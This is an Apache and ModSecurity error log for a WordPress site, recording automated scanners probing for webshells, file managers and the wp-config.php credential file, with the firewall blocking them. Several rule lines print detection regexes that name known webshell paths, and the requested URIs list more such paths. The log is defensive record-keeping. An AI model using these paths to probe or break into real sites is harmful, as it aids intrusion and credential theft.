[Tue Feb 10 19:22:37.420926 2026] [proxy_fcgi:error] [pid 47837:tid 47917] [client 194.5.82.5:37821] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:37.572796 2026] [proxy_fcgi:error] [pid 47837:tid 47914] [client 194.5.82.5:37821] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:37.969645 2026] [:error] [pid 47837:tid 47912] [client 194.5.82.5:37821] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/radio.php"] [unique_id "aYsU_XFY8KYFPX79Z4nXgwAAAIw"]
[Tue Feb 10 19:22:38.581148 2026] [proxy_fcgi:error] [pid 30054:tid 30060] [client 194.5.82.47:55823] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:38.696083 2026] [proxy_fcgi:error] [pid 30054:tid 30061] [client 194.5.82.47:55823] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:38.805253 2026] [:error] [pid 30054:tid 30070] [client 194.5.82.47:55823] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aYsU_mecgOOXCu-GgYUtJgAAAQ4"]
[Tue Feb 10 19:22:39.079870 2026] [proxy_fcgi:error] [pid 47937:tid 47940] [client 194.5.82.11:42673] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:39.191516 2026] [:error] [pid 47937:tid 47960] [client 194.5.82.11:42673] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aYsU_8pqXpC2CvJ3fOOiPQAAANU"]
[Tue Feb 10 19:22:39.684579 2026] [:error] [pid 47937:tid 47944] [client 194.5.82.37:39557] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aYsU_8pqXpC2CvJ3fOOiQAAAAMU"]
[Tue Feb 10 19:22:39.914096 2026] [:error] [pid 30054:tid 30071] [client 194.5.82.25:63775] File does not exist: /home/agraphicscom/public_html/shell.php5
[Tue Feb 10 19:22:40.055621 2026] [:error] [pid 30054:tid 30063] [client 194.5.82.25:63775] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/wptextpattern/about.php"] [unique_id "aYsVAGecgOOXCu-GgYUtKAAAAQc"]
[Tue Feb 10 19:22:40.284370 2026] [proxy_fcgi:error] [pid 59544:tid 59552] [client 194.5.82.166:49781] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:40.410182 2026] [proxy_fcgi:error] [pid 59544:tid 59572] [client 194.5.82.166:49781] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:40.567331 2026] [proxy_fcgi:error] [pid 59544:tid 59571] [client 194.5.82.166:49781] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:40.696297 2026] [proxy_fcgi:error] [pid 59544:tid 59558] [client 194.5.82.166:49781] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:42.011922 2026] [autoindex:error] [pid 59544:tid 59575] [client 194.5.82.166:49781] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 10 19:22:51.469869 2026] [autoindex:error] [pid 59544:tid 59548] [client 194.5.82.166:49781] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 10 19:22:58.778155 2026] [:error] [pid 47831:tid 47879] [client 194.5.82.41:56871] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager"] [unique_id "aYsVEidxbZYarWVkiABlswAAAEY"]
[Tue Feb 10 19:23:00.855432 2026] [autoindex:error] [pid 47831:tid 47888] [client 194.5.82.24:48067] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 02:27:40.528427 2026] [:error] [pid 46779:tid 46838] [client 138.204.79.233:25041] [client 138.204.79.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.204.79.233, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYt4nNZrCpVdS6yMMkdkSQAAAIo"]
[Wed Feb 11 02:27:40.540088 2026] [proxy_fcgi:error] [pid 46779:tid 46838] [client 138.204.79.233:25041] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 12:34:58.485928 2026] [:error] [pid 22569:tid 22580] [client 185.13.98.57:56273] [client 185.13.98.57] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "14.191.163.32_fa62f79705bc9e5c9ea1502e396dec760bed6668"): Internal error (specific information not available) [hostname "agraphics.com.au"] [uri "/index.html"] [unique_id "aYwG78AhSI7iX9G3enjBOgAAAYc"]
[Wed Feb 11 14:14:16.460479 2026] [proxy_fcgi:error] [pid 28073:tid 28084] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:16.709273 2026] [proxy_fcgi:error] [pid 28073:tid 28095] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:16.953699 2026] [proxy_fcgi:error] [pid 28073:tid 28083] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:17.196524 2026] [proxy_fcgi:error] [pid 28073:tid 28085] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:17.445047 2026] [proxy_fcgi:error] [pid 28073:tid 28086] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:17.687815 2026] [proxy_fcgi:error] [pid 28073:tid 28099] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:17.934455 2026] [proxy_fcgi:error] [pid 28073:tid 28076] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:18.179798 2026] [proxy_fcgi:error] [pid 28073:tid 28087] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:18.434856 2026] [proxy_fcgi:error] [pid 28073:tid 28090] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:18.677321 2026] [proxy_fcgi:error] [pid 28073:tid 28096] [client 158.158.49.160:51177] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:14:18.916405 2026] [:error] [pid 28073:tid 28097] [client 158.158.49.160:51177] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aYweOoeHYIlOlF-DsMw7OgAAANY"]
[Wed Feb 11 14:14:19.952936 2026] [:error] [pid 27965:tid 28021] [client 158.158.49.160:46936] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aYweO9HLAUAIo8qpZyH0kgAAAFI"]
[Wed Feb 11 14:14:23.544310 2026] [:error] [pid 22569:tid 22577] [client 158.158.49.160:46506] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aYweP8AhSI7iX9G3enjYrgAAAYQ"]
[Wed Feb 11 14:14:25.204660 2026] [:error] [pid 22569:tid 22589] [client 158.158.49.160:50470] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aYweQcAhSI7iX9G3enjYsgAAAZA"]
[Wed Feb 11 14:14:26.491072 2026] [:error] [pid 27964:tid 27982] [client 158.158.49.160:46496] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aYweQsp0XgWYHLcQtEhisgAAAAc"]
[Wed Feb 11 14:14:27.760354 2026] [:error] [pid 27966:tid 28034] [client 158.158.49.160:33401] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aYweQ18HJ9ydyf0SPu5SAgAAAIQ"]
[Wed Feb 11 14:14:28.728699 2026] [:error] [pid 22570:tid 22608] [client 158.158.49.160:46949] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aYweRCE5uSe043FXwQoT8gAAAcg"]
[Wed Feb 11 14:14:30.652800 2026] [:error] [pid 22537:tid 22554] [client 158.158.49.160:51172] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aYweRifg2TagwM3bvQOjgAAAAU8"]
[Wed Feb 11 14:14:31.771179 2026] [:error] [pid 28073:tid 28077] [client 158.158.49.160:51155] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aYweR4eHYIlOlF-DsMw7RgAAAMI"]
[Wed Feb 11 14:14:32.663100 2026] [:error] [pid 22570:tid 22605] [client 158.158.49.160:49487] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aYweSCE5uSe043FXwQoT-gAAAcU"]
[Wed Feb 11 14:14:34.309979 2026] [:error] [pid 27966:tid 28038] [client 158.158.49.160:25163] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aYweSl8HJ9ydyf0SPu5SBAAAAIg"]
[Wed Feb 11 14:14:35.425144 2026] [:error] [pid 28073:tid 28098] [client 158.158.49.160:2709] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aYweS4eHYIlOlF-DsMw7SgAAANc"]
[Wed Feb 11 14:14:40.979205 2026] [:error] [pid 22537:tid 22550] [client 158.158.49.160:45099] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aYweUCfg2TagwM3bvQOjigAAAUs"]
[Wed Feb 11 14:14:42.981626 2026] [:error] [pid 27965:tid 28019] [client 158.158.49.160:46509] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aYweUtHLAUAIo8qpZyH0rgAAAFA"]
[Wed Feb 11 14:14:44.100276 2026] [:error] [pid 22569:tid 22577] [client 158.158.49.160:2833] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aYweVMAhSI7iX9G3enjY0gAAAYQ"]
[Wed Feb 11 14:14:46.248046 2026] [:error] [pid 27966:tid 28045] [client 158.158.49.160:44826] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aYweVl8HJ9ydyf0SPu5SHQAAAI8"]
[Wed Feb 11 14:14:47.433245 2026] [:error] [pid 22569:tid 22594] [client 158.158.49.160:32492] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aYweV8AhSI7iX9G3enjY-AAAAZU"]
[Wed Feb 11 14:14:49.945605 2026] [:error] [pid 22570:tid 22617] [client 158.158.49.160:46964] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aYweWSE5uSe043FXwQoUFAAAAdE"]
[Wed Feb 11 14:14:51.684836 2026] [:error] [pid 22569:tid 22579] [client 158.158.49.160:45080] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aYweW8AhSI7iX9G3enjZAQAAAYY"]
[Wed Feb 11 14:14:54.028308 2026] [:error] [pid 22570:tid 22605] [client 158.158.49.160:43821] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aYweXiE5uSe043FXwQoUGwAAAcU"]
[Wed Feb 11 14:14:57.023875 2026] [:error] [pid 22569:tid 22576] [client 158.158.49.160:25162] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "aYweYcAhSI7iX9G3enjZBAAAAYM"]
[Wed Feb 11 14:14:58.017465 2026] [:error] [pid 27965:tid 28005] [client 158.158.49.160:2701] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "aYweYtHLAUAIo8qpZyH0wAAAAEI"]
[Wed Feb 11 14:14:58.807121 2026] [:error] [pid 17401:tid 17423] [client 158.158.49.160:48592] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "aYweYg0lHeayTY40t34SVQAAARQ"]
[Wed Feb 11 14:14:59.521491 2026] [:error] [pid 22570:tid 22614] [client 158.158.49.160:39981] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/database.php"] [unique_id "aYweYyE5uSe043FXwQoUHgAAAc4"]
[Wed Feb 11 14:15:02.729947 2026] [:error] [pid 27964:tid 27978] [client 158.158.49.160:2869] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aYweZsp0XgWYHLcQtEhjFAAAAAM"]
[Wed Feb 11 14:15:03.392650 2026] [:error] [pid 17401:tid 17411] [client 158.158.49.160:32397] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aYweZw0lHeayTY40t34SWwAAAQg"]
[Wed Feb 11 14:15:05.641316 2026] [:error] [pid 17401:tid 17413] [client 158.158.49.160:32427] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aYweaQ0lHeayTY40t34SXgAAAQo"]
[Wed Feb 11 14:15:06.661175 2026] [:error] [pid 28073:tid 28079] [client 158.158.49.160:49664] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aYweaoeHYIlOlF-DsMw7hQAAAMQ"]
[Wed Feb 11 14:15:07.910846 2026] [:error] [pid 17401:tid 17427] [client 158.158.49.160:2728] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aYweaw0lHeayTY40t34SYQAAARg"]
[Wed Feb 11 14:15:08.905370 2026] [:error] [pid 28073:tid 28091] [client 158.158.49.160:28547] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aYwebIeHYIlOlF-DsMw7iwAAANA"]
[Wed Feb 11 14:15:10.009658 2026] [:error] [pid 22537:tid 22545] [client 158.158.49.160:45405] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aYwebifg2TagwM3bvQOjqgAAAUY"]
[Wed Feb 11 14:15:15.063101 2026] [:error] [pid 27965:tid 28016] [client 158.158.49.160:48883] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aYwec9HLAUAIo8qpZyH00AAAAE0"]
[Wed Feb 11 14:15:16.767774 2026] [:error] [pid 28073:tid 28085] [client 158.158.49.160:43103] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aYwedIeHYIlOlF-DsMw7jwAAAMo"]
[Wed Feb 11 14:15:18.459440 2026] [proxy_fcgi:error] [pid 17401:tid 17408] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:18.712629 2026] [proxy_fcgi:error] [pid 17401:tid 17425] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:19.050596 2026] [proxy_fcgi:error] [pid 17401:tid 17421] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:19.308069 2026] [proxy_fcgi:error] [pid 17401:tid 17424] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:19.551020 2026] [proxy_fcgi:error] [pid 17401:tid 17417] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:19.869515 2026] [proxy_fcgi:error] [pid 17401:tid 17406] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:20.112591 2026] [proxy_fcgi:error] [pid 17401:tid 17407] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:20.366687 2026] [proxy_fcgi:error] [pid 17401:tid 17418] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:20.620008 2026] [proxy_fcgi:error] [pid 17401:tid 17420] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:21.086168 2026] [proxy_fcgi:error] [pid 17401:tid 17426] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:21.332107 2026] [proxy_fcgi:error] [pid 17401:tid 17419] [client 158.158.49.160:48353] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 14:15:21.571452 2026] [:error] [pid 17401:tid 17423] [client 158.158.49.160:48353] [client 158.158.49.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aYweeQ0lHeayTY40t34SfAAAARQ"]
[Wed Feb 11 14:15:22.688707 2026] [:error] [pid 28073:tid 28082] [client 158.158.49.160:34724] [client 158.158.49.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aYweeoeHYIlOlF-DsMw7pQAAAMc"]
